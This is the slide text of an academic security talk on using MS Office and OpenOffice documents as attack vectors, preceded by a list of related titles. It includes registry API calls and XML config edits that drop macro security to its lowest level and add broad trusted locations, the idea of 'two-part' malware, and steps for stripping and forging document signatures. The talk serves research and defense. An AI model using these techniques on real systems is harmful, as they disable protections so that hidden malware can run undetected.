Office Documents: New Weapons of Cyberwarfare



Similar documents
Office Documents: New Weapons of Cyberwarfare

Anti-exploit tools: The next wave of enterprise security

PROACTIVE PROTECTION MADE EASY

The Fundamental Failures of End-Point Security. Stefan Frei Research Analyst Director

(U)SimMonitor: A New Malware that Compromises the Security of Cellular Technology and Allows Security Evaluation

Advanced Endpoint Protection Overview

N-CAP Users Guide. Everything You Need to Know About Using the Internet! How Worms Spread via (and How to Avoid That)

Executable Integrity Verification

Malicious Software. Ola Flygt Växjö University, Sweden Viruses and Related Threats

Computer Security DD2395

Portable Document Format (PDF) Security Analysis and Malware Threats

Host-based Intrusion Prevention System (HIPS)

CORPORATE AV / EPP COMPARATIVE ANALYSIS

Application of Data Mining based Malicious Code Detection Techniques for Detecting new Spyware

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Cyber Security in Taiwan's Government Institutions: From APT To. Investigation Policies

LASTLINE WHITEPAPER. In-Depth Analysis of Malware

Tutorial on Smartphone Security

ITSC Training Courses Student IT Competence Programme SIIS1 Information Security

Top five strategies for combating modern threats Is anti-virus dead?

Cryptography and Network Security Chapter 21. Malicious Software. Backdoor or Trapdoor. Logic Bomb 4/19/2010. Chapter 21 Malicious Software

Malware Trend Report, Q April May June

Chapter 9 Firewalls and Intrusion Prevention Systems

The safer, easier way to help you pass any IT exams. Exam : 9L OS X Server Essentials 10.8 Exam. Title : Version : Demo 1 / 6

Secure Data Exchange Solution

Kaspersky Security Network

Automating Linux Malware Analysis Using Limon Sandbox Monnappa K A monnappa22@gmail.com

Enterprise Cybersecurity Best Practices Part Number MAN Revision 006

The Misuse of RC4 in Microsoft Word and Excel

Where every interaction matters.

Optimizing Windows Security Features to Block Malware and Hack Tools on USB Storage Devices

Firewall Cracking and Security By: Lukasz Majowicz Dr. Stefan Robila 12/15/08

The Dirty Secret Behind the UTM: What Security Vendors Don t Want You to Know

Online Payments Threats

Microsoft Office 2000 and Security Against Macro Viruses

Kaspersky Fraud Prevention: a Comprehensive Protection Solution for Online and Mobile Banking

Driving Company Security is Challenging. Centralized Management Makes it Simple.

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

By John Pirc. THREAT DETECTION HAS moved beyond signature-based firewalls EDITOR S DESK SECURITY 7 AWARD WINNERS ENHANCED THREAT DETECTION

Analyzing Word and Excel Encryption An operational solution

Information Assurance Directorate

ESET Endpoint Security 6 ESET Endpoint Antivirus 6 for Windows

Protection profile of an industrial firewall

New possibilities in latest OfficeScan and OfficeScan plug-in architecture

Windows Operating Systems. Basic Security

Introduction: 1. Daily 360 Website Scanning for Malware

avast! Endpoint Protection (Plus) and avast! Endpoint Protection Suite (Plus)

PROTECTION FOR SERVERS, WORKSTATIONS AND TERMINALS ENDPOINT SECURITY NETWORK SECURITY I ENDPOINT SECURITY I DATA SECURITY

Step-by-Step Guide to Securing Windows XP Professional with Service Pack 2 in Small and Medium Businesses

GFI Product Manual. Administration and Configuration Manual

The evolution of virtual endpoint security. Comparing vsentry with traditional endpoint virtualization security solutions

ESET NOD32 Antivirus. Table of contents

Microsoft Office Macro Security

Adobe Flash Player and Adobe AIR security

Common Cyber Threats. Common cyber threats include:

Perl In Secure Web Development

New Systems and Services Security Guidance

File Management. Chapter 12

Security Maintenance Practices. IT 4823 Information Security Administration. Patches, Fixes, and Revisions. Hardening Operating Systems

AB 1149 Compliance: Data Security Best Practices

Trust Digital Best Practices

VIDEO Intypedia013en LESSON 13: DNS SECURITY. AUTHOR: Javier Osuna García-Malo de Molina. GMV Head of Security and Process Consulting Division

1. For each of the 25 questions, multiply each question response risk value (1-5) by the number of times it was chosen by the survey takers.

WHY DOES MY SPEED MONITORING GRAPH SHOW -1 IN THE TOOLTIP? 2 HOW CAN I CHANGE MY PREFERENCES FOR UPTIME AND SPEED MONITORING 2

2014 Entry Form (Complete one for each entry.) Fill out the entry name exactly as you want it listed in the program.

11 NETWORK SECURITY PROJECTS. Project Understanding Key Concepts. Project Using Auditing and Event Logs. Project 11.3

(In)Security of Mobile Banking

Endpoint Security and the Case For Automated Sandboxing

AVOIDING ONLINE THREATS CYBER SECURITY MYTHS, FACTS, TIPS. ftrsecure.com

Security A to Z the most important terms

Managing Web Security in an Increasingly Challenging Threat Landscape

Total Defense Endpoint Premium r12

Getting Ahead of Malware

Malware, Phishing, and Cybercrime Dangerous Threats Facing the SMB State of Cybercrime

THE IMPORTANCE OF CODE SIGNING TECHNICAL NOTE 02/2005

Improving Web Application Security by Eliminating CWEs Weijie Chen, China INFSY 6891 Software Assurance Professor Dr. Maurice Dawson 15 December 2015

Codeproof Mobile Security & SaaS MDM Platform

Bad Ads Trend Alert: Shining a Light on Tech Support Advertising Scams. May TrustInAds.org. Keeping people safe from bad online ads

Next Generation Firewalls and Sandboxing

CAS : A FRAMEWORK OF ONLINE DETECTING ADVANCE MALWARE FAMILIES FOR CLOUD-BASED SECURITY

ANTIVIRUS BEST PRACTICES

G/On. Basic Best Practice Reference Guide Version 6. For Public Use. Make Connectivity Easy

MCTS Guide to Microsoft Windows 7. Chapter 7 Windows 7 Security Features

How To Protect Your Network From Attack From A Virus And Attack From Your Network (D-Link)

Real World and Vulnerability Protection, Performance and Remediation Report

Install Guide VirusBlokAda

SCP - Strategic Infrastructure Security

CS549: Cryptography and Network Security

Transcription:

Office Documents: New Weapons of Cyberwarfare Jonathan Dechaux dechaux@et.esiea-ouest.fr, Eric Filiol filiol@esiea.fr, Jean-Paul Fizaine fizaine@esiea-recherche.eu Ecole Supérieure en Informatique, Electronique et Automatique Operational virology and cryptology Lab. 38 rue des docteurs Calmette & Guerin, 53000 Laval France

1 Cyberwarfare and Cyberweapons 2 Macro Security in MSO Macro Security in Openoffice Automatic execution of macros Digital Signature 3 4

Cyberwarfare and Cyberweapons Cyberwarfare and Cyberweapons Reallity of cyberwarfare August 2007: Espionage case of China against German chancelery. 163 Gb of Gouvernemental data stolen through a Trojan-infected Office document. 2009-2010: Chinese hackers succeeded in stealing economic and financial data from European Banks, through malicious PDFs. Document as cyberweapons (Open)Office document are good vectors. PDF documents are also used nowadays

A Critical Context Cyberwarfare and Cyberweapons The Cyberwarfare picture PWN2KILL, May 2010 Paris, challenge has proved the risk is real and high. http://www.esiea-recherche.eu/iawacs2010.html Huge technical possibilities on one side, quite no protection and detection capability on the other side. Many critical systems are rather secure with a strong security policy enforced. Classical approaches are less and less possible, not say impossible.

Context of the Study Cyberwarfare and Cyberweapons Which applications are concerned? Office 2010 OpenOffice 3.x All office applications. The Purpose To install malicious payload into the operating system, whithout being detected by any AV. We do not want to exploit any vulnerability (target = secure sensitive systems; e.g. combat systems).

Macro Security in MSO Macro Security in Openoffice Automatic execution of macros Digital Signature 1 Cyberwarfare and Cyberweapons 2 Macro Security in MSO Macro Security in Openoffice Automatic execution of macros Digital Signature 3 4

MSO: Execution level security settings Macro Security in MSO Macro Security in Openoffice Automatic execution of macros Digital Signature Possible level of security Level 4 (0x00000004): Disable all macros without notification. Level 3 (0x00000002): Disable all macros with notifiation. Level 2 (0x00000003): Disable all macros except digitally signed macros. Level 1 (0x00000001): Enable all macros. Location of settings Registery key : HKEY_CURRENT_USER \Software\Microsoft\Office\ 12.0\ <Application> \Security Application = {Word, Excel, Powerpoint, Access}

MSO: Trusted Location Macro Security in MSO Macro Security in Openoffice Automatic execution of macros Digital Signature Definition Trusted location: A trusted location is a directory where macros of documents stored inside are allowed to be executed automatically. Stored in the registery HKEY_CURRENT_USER \Software\Microsoft\Office12\12.0\ <Application> \Security\ Trusted Location. trust value. Standalone settings: modifying Word s settings does not affect other Office programs settings.

OO: Macro Security Macro Security in MSO Macro Security in Openoffice Automatic execution of macros Digital Signature Security settings Both Macro security level and trusted location are defined in "Common.xcu" file at: Openoffice.org\3\user\registery\data\org\openoffice\Office Example <node oor:name="security"> <node oor:name="scripting"> <prop oor:name="macrosecuritylevel" oor:type="xs:int"> <value>0</value> </prop> </node> </node>

OO: Trusted Location Macro Security in MSO Macro Security in Openoffice Automatic execution of macros Digital Signature Example Set the root directory as Trusted location <node oor:name="security"> <node oor:name="scripting"> <prop oor:name="secureurl" oor:type="oor:string-list"> <value>file:///c:/</value> </prop> </node> </node>

Macro Security in MSO Macro Security in Openoffice Automatic execution of macros Digital Signature The use of AutoExec event with MSO The fact Able to naturally bypass the level 2 of execution. Several events are available: AutoNew, Open, Close, Exit, Exec Applied on template named Normal.dotm and stored inside MSO s users settings file. Execute the macro at opening event even if any macro are not allowed to be executed (Level 2).

MSO & OO.ORG: The integration Macro Security in MSO Macro Security in Openoffice Automatic execution of macros Digital Signature MSO&OO.ORG are both: Based on the W3C specification. But the integration is totally different. MSO s integration Office makes it easier to create signatures. It is possible to create self-signed certificates. They are stored inside _rel\.rel file whithin the document. Openoffice s integration: X509Certificate No significant change about signature since 2006, the first study. Black Hat 2009, Amstersdam, E.Filiol J.-P. Fizaine, Openoffice v3.x Security Design Weaknesses.

1 Cyberwarfare and Cyberweapons 2 Macro Security in MSO Macro Security in Openoffice Automatic execution of macros Digital Signature 3 4

MSO case Change to the lowest level: 0 Interessting Keys: HKEY_CURRENT_USER Path: Software\\Microsoft\\Office\\12.0\\Word\\Security Windows API: RegOpenKeyEx, RegSetValueEx, RegCreateKeyEx, RegCloseKey Example RegOpenKeyEx(HKEY_CURRENT_USER, path, 0, KEY_ALL_ACCESS, &hkey); RegSetValueEx(hKey, warning, 0, REG_WORD, (const BYTE*)nNumber, sizeof(number)); RegClose(hkey);

MSO case Set the directory c:\users as a Trusted Location. KEY: HKEY_CURRENT_USER Path: Software\\Microsoft\\Office\\12.0\\Word\\Security\\ Trusted\\Locations Path2: Software\\Microsoft\\Office\\12.0\\Word\\Security\\ Trusted\\Locations\\Location3 Example RegOpenKeyEx(HKEY_CURRENT_USER, path, 0, KEY_ALL_ACCESS, &hkey); RegCreateKeyEx(hkey,location, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey2, NULL) RegOpenKeyEx(HKEY_CURRENT_USER, path2, 0, KEY_ALL_ACCESS, &hkey2);

MSO case Set the directory c:\users as a Trusted Location. Example RegSetValueEx(hKey2, description, 0, REG_SZ, (const BYTE*)("1"), 32); RegSetValueEx(hKey2, path_t, 0, REG_SZ, (const BYTE*)TEXT("C:\\Users\\"), 32); RegSetValueEx(hKey2, allow, 0, REG_DWORD, (const BYTE*)&number, sizeof(number)); RegCloseKey(hkey2); RegCloseKey(hkey);

OO.ORG case Change the Macro security level to the lowest: 0 Where are the settings? Settings are stored in only one file! No use of specific library is needed, the C Standard Library is sufficient. The Algorithm: based on standard I/O function 1 Forge the Path. 2 Locate the position inside the file. 3 Insert the value: <node oor:name="security"> <node oor:name="scripting"> <prop oor:name="macrosecuritylevel" oor:type="xs:int"> <value>0</value> </prop> </node> </node> 4 Update by restart the application.

OO.ORG case Trusted Locations The Algorithm It is exactly the same algorithm that manages the security level. 1 Forge the Path. 2 Locate the position inside the file. 3 Insert the value: <node oor:name="security"> <node oor:name="scripting"> <prop oor:name="secureurl" oor:type="oor:string-list"> <value>file:///c:/</value> </prop> </node> </node> 4 Update by restarting the application.

introduction to k-ary malware k-ary malware definition Malware made of k different, innocent-looking (from the AV point of view). Each of them can (inter)act independently or not and can either be executed in parallel or in sequential. Not all the parts are necessarily executable. The cumulative action of each part defines the malware action. E. Filiol, Journal in Computer Virology, 2007. Hack.lu 2009, A. Desnos, Implementation of K-ary viruses in Python.

Two waves of attack: the use of 2-ary malware The fact Suppose the security level is set to the paranoid mode, it is impossible to change the level from inside the macro. (Journal in Computer Virology, 2006, D. de Drézigué, J.- P. Fizaine, N. Hansma, In-depth Analysis of the Viral Threats with OpenOffice.org Documents). The algorithm External change of settings by a program. Macro performs its payload. Demos 1 How to install in Trojan. 2 How to perfom a simple DoS.

Why this approach? The fact Attacking (secure) systems becomes really complex. Just exploiting one or more vulnerability does no longer suffice. Installing a functionnally sophisticated program is less and less easy. The solution is to split the viral information into many pieces! Real case: secure systems generally filter and forbid packed binaries/shellcodes. Using 2-ary malware is a powerful alternative. The first executable performs a innocent, generally legitimate simple action. Equivalent to the packing step/functionality. The office document then installs more complex malware transparently and silently.

General Algorithm The same attack exists for Openoffice: Black hat 2009, Amsterdam, E.Filiol, j.-p. Fizaine, OpenOffice v3.x Security Design Weaknesses. Once apon a time, Alice and Bod are working for the Dept. of Industry. Alice sent a sensitive document to her collegue Bob. But Charly a spy is very interested in Alice s work... 1 Get the signature data. 2 Signature Information removal. 3 Forge a new certificate.

Get & remove the signature Collect the following informations: Town, compagny, email, address and name by analyzing the certificate. Remove from _rel\.rels <Relationship Id="rId4" Type="http://schemas. openxmlformats.org/package/2006/relationships/ digital-signature/origin" Target="_xmlsignatures/ origin.sigs"/>

Get & remove the signature Remove from Content_Types.xml <Default Extension="sigs" ContentType="application/ vnd.openxmlformats-package.digital-signature-origin"/> <Override PartName="/_xmlsignatures/sigs1.xml" ContentType="application/vnd.openxmlformats-package. digital-signature-xmlsignature+xml"/> Refinement Refine the time modification and the author s name.

1 Use of Public Key Infrastructure 2 whenever self-signed certificates are used: Check the serial number, timestamp and validity systematically. The serial number is supposed to be unique.

Trusted documents Location of settings Activate properties for only one document without modifying the security. Registery key : HKEY_CURRENT_USER \ Software\ Microsoft\ Office\ 14.0\ <Application> \Security\ Trusted Documents\ TrustRecords Application = {Word, Excel, Powerpoint, Access} Binary name = Document path. Binary value = Document creation date and document last opening.

Demonstration Mobile storage attack with a 2-ary malware: One Word file protected with a password One executable program to get the password

1 Cyberwarfare and Cyberweapons 2 Macro Security in MSO Macro Security in Openoffice Automatic execution of macros Digital Signature 3 4

(Open)office are efficient cyberweapons Techniques can be implemented with simple, reduced size code, and be very powerful. Antivirus software fail to detect those attacks systematially, even KAV. (Open)Office documents intensively exchanged. Security no longer relies on the application only (look at the OS levelas well). Futher works: PDF version. Anti-forensics, More execution environments. More powerful cyberweapons.

Thanks for your attention. Questions?